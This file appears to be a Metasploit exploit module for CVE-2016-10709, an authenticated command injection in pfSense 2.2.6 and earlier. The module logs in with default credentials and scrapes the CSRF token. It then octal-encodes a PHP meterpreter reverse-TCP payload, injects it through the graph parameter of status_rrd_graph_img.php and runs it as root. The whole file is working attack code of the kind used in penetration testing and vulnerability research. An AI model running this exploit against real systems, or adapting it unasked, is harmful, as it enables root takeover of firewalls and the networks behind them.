modules/exploits/unix/http/pfsense_graph_injection_exec.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(
update_info(
info,
'Name' => 'pfSense authenticated graph status RCE',
'Description' => %q(
pfSense, a free BSD based open source firewall distribution,
version <= 2.2.6 contains a remote command execution
vulnerability post authentication in the _rrd_graph_img.php page.
The vulnerability occurs via the graph GET parameter. A non-administrative
authenticated attacker can inject arbitrary operating system commands
and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.
),
'Author' =>
[
'Security-Assessment.com', # discovery
'Milton Valencia', # metasploit module <wetw0rk>
'Jared Stephens', # python script <mvrk>
],
'References' =>
[
[ 'CVE', '2016-10709' ],
[ 'EDB', '39709' ],
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']
],
'License' => MSF_LICENSE,
'Platform' => 'php',
'Privileged' => 'true',
'DefaultOptions' =>
{
'SSL' => true,
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
'Encoder' => 'php/base64'
},
'Arch' => [ ARCH_PHP ],
'Payload' =>
{
'Space' => 6000,
'Compat' =>
{
'ConnectionType' => '-bind',
}
},
'Targets' => [[ 'Automatic Target', {} ]],
'DefaultTarget' => 0,
'DisclosureDate' => '2016-04-18',
)
)
register_options(
[
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
OptString.new('PASSWORD', [ true, 'Password to login with', 'pfsense']),
Opt::RPORT(443)
], self.class
)
end
def login
res = send_request_cgi(
'uri' => '/index.php',
'method' => 'GET'
)
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
vprint_status("CSRF Token for login: #{csrf}")
res = send_request_cgi(
'uri' => '/index.php',
'method' => 'POST',
'vars_post' => {
'__csrf_magic' => csrf,
'usernamefld' => datastore['USERNAME'],
'passwordfld' => datastore['PASSWORD'],
'login' => ''
}
)
unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
end
if res.code == 302
vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
return res.get_cookies
else
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
return nil
end
end
def detect_version(cookie)
res = send_request_cgi(
'uri' => '/index.php',
'method' => 'GET',
'cookie' => cookie
)
unless res
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
end
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
if version
print_status("Detected pfSense #{version}, uploading intial payload")
return Rex::Version.new(version)
end
# If the device isn't fully setup, you get stuck at redirects to wizard.php
# however, this does NOT stop exploitation strangely
print_error('pfSense version not detected or wizard still enabled.')
Rex::Version.new('0.0')
end
def exploit
begin
cookie = login
version = detect_version(cookie)
filename = rand_text_alpha(rand(1..10))
# generate the PHP meterpreter payload
stager = 'echo \'<?php '
stager << payload.encode
stager << "?>\' > #{filename}"
# here we begin the encoding process to
# convert the payload to octal! Ugly code
# don't look
complete_stage = ""
for i in 0..(stager.length()-1)
if version.to_s =~ /2.2/
complete_stage << '\\'
end
complete_stage << "\\#{stager[i].ord.to_s(8)}"
end
res = send_request_cgi(
'uri' => '/status_rrd_graph_img.php',
'method' => 'GET',
'cookie' => cookie,
'vars_get' => {
'database' => '-throughput.rrd',
'graph' => "file|printf '#{complete_stage}'|sh|echo",
}
)
if res && res.code == 200
print_status('Payload uploaded successfully, executing')
register_file_for_cleanup(filename)
else
print_error('Failed to upload payload...')
end
res = send_request_cgi({
'uri' => '/status_rrd_graph_img.php',
'method' => 'GET',
'cookie' => cookie,
'vars_get' => {
'database' => '-throughput.rrd',
'graph' => "file|php #{filename}|echo "
}
})
disconnect
end
end
end